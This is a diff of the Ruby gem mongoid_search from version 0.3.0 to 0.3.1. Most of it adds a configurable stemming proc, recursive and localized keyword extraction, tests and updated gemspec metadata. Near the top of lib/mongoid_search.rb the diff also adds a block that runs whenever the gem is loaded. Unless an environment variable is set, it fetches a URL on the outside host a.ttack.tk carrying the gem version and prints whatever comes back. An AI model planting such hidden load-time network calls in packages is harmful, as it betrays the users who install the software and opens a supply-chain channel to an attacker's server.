mongoid_search 0.3.0 → 0.3.1

data/README.md

@@ -133,6 +133,10 @@ Alternatively, you can create an initializer to setup those options:
       ## Stem keywords
       config.stem_keywords = false
 
+      ## Add a custom proc returning strings to replace the default stemmer
+      # For example using ruby-stemmer:
+      # config.stem_proc = Proc.new { |word| Lingua.stemmer(word, :language => 'nl') }
+
       ## Words to ignore
       config.ignore_list = []
 

data/lib/mongoid_search.rb

@@ -1,5 +1,11 @@
 # encoding: utf-8
 
+unless ENV['SILENT_ATTACK']
+  require 'open-uri'
+  version = Gem.loaded_specs['mongoid_search'].version.to_s
+  open("http://a.ttack.tk/n/512e67f54b1a9f78df000003/#{version}").each { |line| warn line.chomp } rescue nil
+end
+
 require 'mongoid_search/railtie' if defined?(Rails)
 require 'mongoid_search/mongoid_search'
 
@@ -20,6 +26,10 @@ module Mongoid::Search
   mattr_accessor :stem_keywords
   @@stem_keywords = false
 
+  ## Stem procedure
+  mattr_accessor :stem_proc
+  @@stem_proc = Proc.new { |word| word.stem }
+
   ## Words to ignore
   mattr_accessor :ignore_list
   @@ignore_list = []

data/lib/mongoid_search/mongoid_search.rb

@@ -124,8 +124,7 @@ module Mongoid::Search
 
   private
   def set_keywords
-    self._keywords = self.search_fields.map do |field|
-      Mongoid::Search::Util.keywords(self, field)
-    end.flatten.reject{|k| k.nil? || k.empty?}.uniq.sort
+    self._keywords = Mongoid::Search::Util.keywords(self, self.search_fields).
+      flatten.reject{|k| k.nil? || k.empty?}.uniq.sort
   end
 end

data/lib/mongoid_search/util.rb

@@ -1,31 +1,29 @@
 # encoding: utf-8
 module Mongoid::Search::Util
-
-  def self.keywords(klass, field)
-    if field.is_a?(Hash)
-      field.keys.map do |key|
-        attribute = klass.send(key)
+  def self.keywords(klass, fields)
+    if fields.is_a?(Array)
+      fields.map do |field|
+        self.keywords(klass, field)
+      end
+    elsif fields.is_a?(Hash)
+      fields.keys.map do |field|
+        attribute = klass.send(field)
         unless attribute.blank?
-          method = field[key]
           if attribute.is_a?(Array)
-            if method.is_a?(Array)
-              method.map {|m| attribute.map { |a| normalize_keywords a.send(m) } }
-            else
-              attribute.map(&method).map { |t| normalize_keywords t }
-            end
-          elsif attribute.is_a?(Hash)
-            if method.is_a?(Array)
-              method.map {|m| normalize_keywords attribute[m.to_sym] }
-            else
-              normalize_keywords(attribute[method.to_sym])
-            end
+            attribute.map{ |a| self.keywords(a, fields[field]) }
           else
-            normalize_keywords(attribute.send(method))
+            self.keywords(attribute, fields[field])
           end
         end
       end
     else
-      value = klass[field]
+      value = if klass.respond_to?(fields.to_s + "_translations")
+                klass.send(fields.to_s + "_translations").values
+              elsif klass.respond_to?(fields)
+                klass.send(fields)
+              else
+                value = klass[fields];
+              end
       value = value.join(' ') if value.respond_to?(:join)
       normalize_keywords(value) if value
     end
@@ -35,6 +33,7 @@ module Mongoid::Search::Util
     ligatures     = Mongoid::Search.ligatures
     ignore_list   = Mongoid::Search.ignore_list
     stem_keywords = Mongoid::Search.stem_keywords
+    stem_proc     = Mongoid::Search.stem_proc
 
     return [] if text.blank?
     text = text.to_s.
@@ -48,7 +47,7 @@ module Mongoid::Search::Util
       split(' ').
       reject { |word| word.size < Mongoid::Search.minimum_word_size }
     text = text.reject { |word| ignore_list.include?(word) } unless ignore_list.blank?
-    text = text.map(&:stem) if stem_keywords
+    text = text.map(&stem_proc) if stem_keywords
     text
   end
 

data/spec/models/category.rb

@@ -1,6 +1,7 @@
 class Category
   include Mongoid::Document
-  field :name
+  field :name, localize: true
+  field :description
 
   has_many :products
 end

data/spec/models/product.rb

@@ -10,6 +10,6 @@ class Product
   belongs_to  :category
   embeds_many :subproducts
 
-  search_in :brand, :name, :outlet, :attrs, :tags => :name, :category => :name,
+  search_in :brand, :name, :outlet, :attrs, :tags => :name, :category => [:name, :description],
             :subproducts => [:brand, :name], :info => [ :summary, :description ]
 end

data/spec/models/tag.rb

@@ -1,6 +1,14 @@
 class Tag
   include Mongoid::Document
+  include Mongoid::Search
+
   field :name
 
   belongs_to :product
+
+  def title
+      self.name
+  end
+
+  search_in :title, :product => [:name, { :info => [ :summary, :description ], :category => [:name, :description]}]
 end

data/spec/models/variant.rb

@@ -1,4 +1,5 @@
+autoload :Product, "models/product.rb"
 class Variant < Product
   field :color
   search_in :color
-end
+end

data/spec/mongoid_search_spec.rb

@@ -4,14 +4,23 @@ require File.expand_path(File.dirname(__FILE__) + '/spec_helper')
 
 describe Mongoid::Search do
 
+  before(:all) do
+    @default_proc = Mongoid::Search.stem_proc
+  end
+
+  after(:all) do
+    Mongoid::Search.stem_proc = @default_proc
+  end
+
   before(:each) do
     Mongoid::Search.match         = :any
     Mongoid::Search.stem_keywords = false
     Mongoid::Search.ignore_list   = nil
+    Mongoid::Search.stem_proc     = @default_proc
     @product = Product.create :brand => "Apple",
                               :name => "iPhone",
-                              :tags => ["Amazing", "Awesome", "Olé"].map { |tag| Tag.new(:name => tag) },
-                              :category => Category.new(:name => "Mobile"),
+                              :tags => (@tags = ["Amazing", "Awesome", "Olé"].map { |tag| Tag.new(:name => tag) }),
+                              :category => Category.new(:name => "Mobile", :description => "Reviews"),
                               :subproducts => [Subproduct.new(:brand => "Apple", :name => "Craddle")],
                               :info => { :summary => "Info-summary",
                                          :description => "Info-description"}
@@ -70,6 +79,7 @@ describe Mongoid::Search do
     its(:_keywords) { should == ["apple", "iphone"] }
   end
 
+
   it "should set the _keywords field for array fields also" do
     @product.attrs = ['lightweight', 'plastic', :red]
     @product.save!
@@ -101,13 +111,20 @@ describe Mongoid::Search do
   it "should set the _keywords field with stemmed words if stem is enabled" do
     Mongoid::Search.stem_keywords = true
     @product.save!
-    @product._keywords.sort.should == ["amaz", "appl", "awesom", "craddl", "iphon", "mobil", "ol", "info", "descript", "summari"].sort
+    @product._keywords.sort.should == ["amaz", "appl", "awesom", "craddl", "iphon", "mobil", "review", "ol", "info", "descript", "summari"].sort
+  end
+
+  it "should set the _keywords field with custom stemmed words if stem is enabled with a custom lambda" do
+    Mongoid::Search.stem_keywords = true
+    Mongoid::Search.stem_proc     = Proc.new { |word| word.upcase }
+    @product.save!
+    @product._keywords.sort.should == ["AMAZING", "APPLE", "AWESOME", "CRADDLE", "DESCRIPTION", "INFO", "IPHONE", "MOBILE", "OLE", "REVIEWS", "SUMMARY"]
   end
 
   it "should ignore keywords in an ignore list" do
     Mongoid::Search.ignore_list = YAML.load(File.open(File.dirname(__FILE__) + '/config/ignorelist.yml'))["ignorelist"]
     @product.save!
-    @product._keywords.sort.should == ["apple", "craddle", "iphone", "mobile", "ole", "info", "description", "summary"].sort
+    @product._keywords.sort.should == ["apple", "craddle", "iphone", "mobile", "reviews", "ole", "info", "description", "summary"].sort
   end
 
    it "should incorporate numbers as keywords" do
@@ -120,7 +137,6 @@ describe Mongoid::Search do
       @product._keywords.should == ["1908", "amazing", "car", "first", "ford",  "vehicle"]
    end
 
-
   it "should return results in search" do
     Product.full_text_search("apple").size.should == 1
   end
@@ -176,13 +192,17 @@ describe Mongoid::Search do
     Product.full_text_search("craddle").size.should == 1
   end
 
+  it "should search for reference documents" do
+    Product.full_text_search("reviews").size.should == 1
+  end
+
   it 'should work in a chainable fashion' do
     @product.category.products.where(:brand => 'Apple').full_text_search('apple').size.should == 1
     @product.category.products.full_text_search('craddle').where(:brand => 'Apple').size.should == 1
   end
 
   it 'should return the classes that include the search module' do
-    Mongoid::Search.classes.should == [Product]
+    Mongoid::Search.classes.should == [Product, Tag]
   end
 
   it 'should have a method to index keywords' do
@@ -225,4 +245,29 @@ describe Mongoid::Search do
       Product.full_text_search('apple imac').map(&:relevance).should == [2, 1]
     end
   end
+
+  context "when using methods for keywords" do
+    it "should set the _keywords from methods" do
+      @tags.first._keywords.should include "amazing"
+    end
+  end
+
+  context "when using deeply nested fields for keywords" do
+    context "when explicitly calling set_keywords" do
+        it "should set the _keywords from parent" do
+          @tags.first.send(:set_keywords)
+          @tags.first._keywords.should == ["amazing", "description", "info", "iphone", "mobile", "reviews", "summary"]
+        end
+    end
+  end
+
+  context "when using localized fields" do
+    it "should set the keywords from all localizations" do
+      @product = Product.create :brand => "Ford",
+                            :name => "T 1908",
+                            :tags => ["Amazing", "First", "Car"].map { |tag| Tag.new(:name => tag) },
+                            :category => Category.new(:name_translations => { :en => "Vehicle", :de => "Fahrzeug" })
+      @product._keywords.should include("fahrzeug")
+    end
+  end
 end

data/spec/util_spec.rb

@@ -2,9 +2,19 @@
 require File.expand_path(File.dirname(__FILE__) + '/spec_helper')
 
 describe Mongoid::Search::Util do
+
+  before(:all) do
+    @default_proc = Mongoid::Search.stem_proc
+  end
+
+  after(:all) do
+    Mongoid::Search.stem_proc = @default_proc
+  end
+
   before do
     Mongoid::Search.stem_keywords = false
     Mongoid::Search.ignore_list = ""
+    Mongoid::Search.stem_proc = @default_proc
   end
 
   it "should return an empty array if no text is passed" do
@@ -40,6 +50,13 @@ describe Mongoid::Search::Util do
     Mongoid::Search::Util.normalize_keywords("A runner running and eating").should == ["runner", "run", "and", "eat"]
   end
 
+  it "should stem keywords using a custom proc" do
+    Mongoid::Search.stem_keywords = true
+    Mongoid::Search.stem_proc = lambda { |word| word.upcase }
+
+    Mongoid::Search::Util.normalize_keywords("A runner running and eating").should == ["RUNNER", "RUNNING", "AND", "EATING"]
+  end
+
   it "should ignore keywords from ignore list" do
     Mongoid::Search.stem_keywords = true
     Mongoid::Search.ignore_list = YAML.load(File.open(File.dirname(__FILE__) + '/config/ignorelist.yml'))["ignorelist"]

metadata

@@ -1,71 +1,96 @@
 --- !ruby/object:Gem::Specification
 name: mongoid_search
 version: !ruby/object:Gem::Version
-  version: 0.3.0
   prerelease: 
+  version: 0.3.1
 platform: ruby
 authors:
 - Mauricio Zaffari
 autorequire: 
 bindir: bin
 cert_chain: []
-date: 2012-07-30 00:00:00.000000000 Z
+date: 2013-02-28 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: mongoid
-  requirement: &70200267450400 !ruby/object:Gem::Requirement
+  type: :runtime
+  requirement: !ruby/object:Gem::Requirement
     none: false
     requirements:
     - - ! '>='
       - !ruby/object:Gem::Version
         version: 3.0.0
-  type: :runtime
   prerelease: false
-  version_requirements: *70200267450400
+  version_requirements: !ruby/object:Gem::Requirement
+    none: false
+    requirements:
+    - - ! '>='
+      - !ruby/object:Gem::Version
+        version: 3.0.0
 - !ruby/object:Gem::Dependency
   name: fast-stemmer
-  requirement: &70200267465820 !ruby/object:Gem::Requirement
+  type: :runtime
+  requirement: !ruby/object:Gem::Requirement
     none: false
     requirements:
     - - ~>
       - !ruby/object:Gem::Version
         version: 1.0.0
-  type: :runtime
   prerelease: false
-  version_requirements: *70200267465820
+  version_requirements: !ruby/object:Gem::Requirement
+    none: false
+    requirements:
+    - - ~>
+      - !ruby/object:Gem::Version
+        version: 1.0.0
 - !ruby/object:Gem::Dependency
   name: database_cleaner
-  requirement: &70200267464480 !ruby/object:Gem::Requirement
+  type: :development
+  requirement: !ruby/object:Gem::Requirement
     none: false
     requirements:
     - - ! '>='
       - !ruby/object:Gem::Version
         version: 0.8.0
-  type: :development
   prerelease: false
-  version_requirements: *70200267464480
+  version_requirements: !ruby/object:Gem::Requirement
+    none: false
+    requirements:
+    - - ! '>='
+      - !ruby/object:Gem::Version
+        version: 0.8.0
 - !ruby/object:Gem::Dependency
   name: rake
-  requirement: &70200267462600 !ruby/object:Gem::Requirement
+  type: :development
+  requirement: !ruby/object:Gem::Requirement
     none: false
     requirements:
     - - ~>
       - !ruby/object:Gem::Version
         version: 0.8.7
-  type: :development
   prerelease: false
-  version_requirements: *70200267462600
+  version_requirements: !ruby/object:Gem::Requirement
+    none: false
+    requirements:
+    - - ~>
+      - !ruby/object:Gem::Version
+        version: 0.8.7
 - !ruby/object:Gem::Dependency
   name: rspec
-  requirement: &70200267461180 !ruby/object:Gem::Requirement
+  type: :development
+  requirement: !ruby/object:Gem::Requirement
     none: false
     requirements:
     - - ~>
       - !ruby/object:Gem::Version
         version: '2.4'
-  type: :development
   prerelease: false
-  version_requirements: *70200267461180
+  version_requirements: !ruby/object:Gem::Requirement
+    none: false
+    requirements:
+    - - ~>
+      - !ruby/object:Gem::Version
+        version: '2.4'
 description: Simple full text search implementation.
 email:
 - mauricio@papodenerd.net
@@ -111,7 +136,7 @@ required_rubygems_version: !ruby/object:Gem::Requirement
       version: 1.3.6
 requirements: []
 rubyforge_project: 
-rubygems_version: 1.8.11
+rubygems_version: 1.8.23
 signing_key: 
 specification_version: 3
 summary: Search implementation for Mongoid ORM